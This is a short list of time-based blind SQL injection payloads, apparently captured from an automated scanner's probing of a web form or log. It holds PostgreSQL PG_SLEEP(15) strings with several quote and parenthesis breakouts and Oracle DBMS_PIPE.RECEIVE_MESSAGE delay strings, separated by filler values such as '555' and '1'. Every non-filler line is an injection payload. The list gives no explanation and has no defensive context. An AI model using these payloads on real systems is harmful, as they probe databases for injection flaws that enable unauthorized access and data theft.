555-1)) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

1

555zBFuPzWj' OR 116=(SELECT 116 FROM PG_SLEEP(15))--

1

5551xQ9W07U') OR 842=(SELECT 842 FROM PG_SLEEP(15))--

555sK86vJqs')) OR 753=(SELECT 753 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555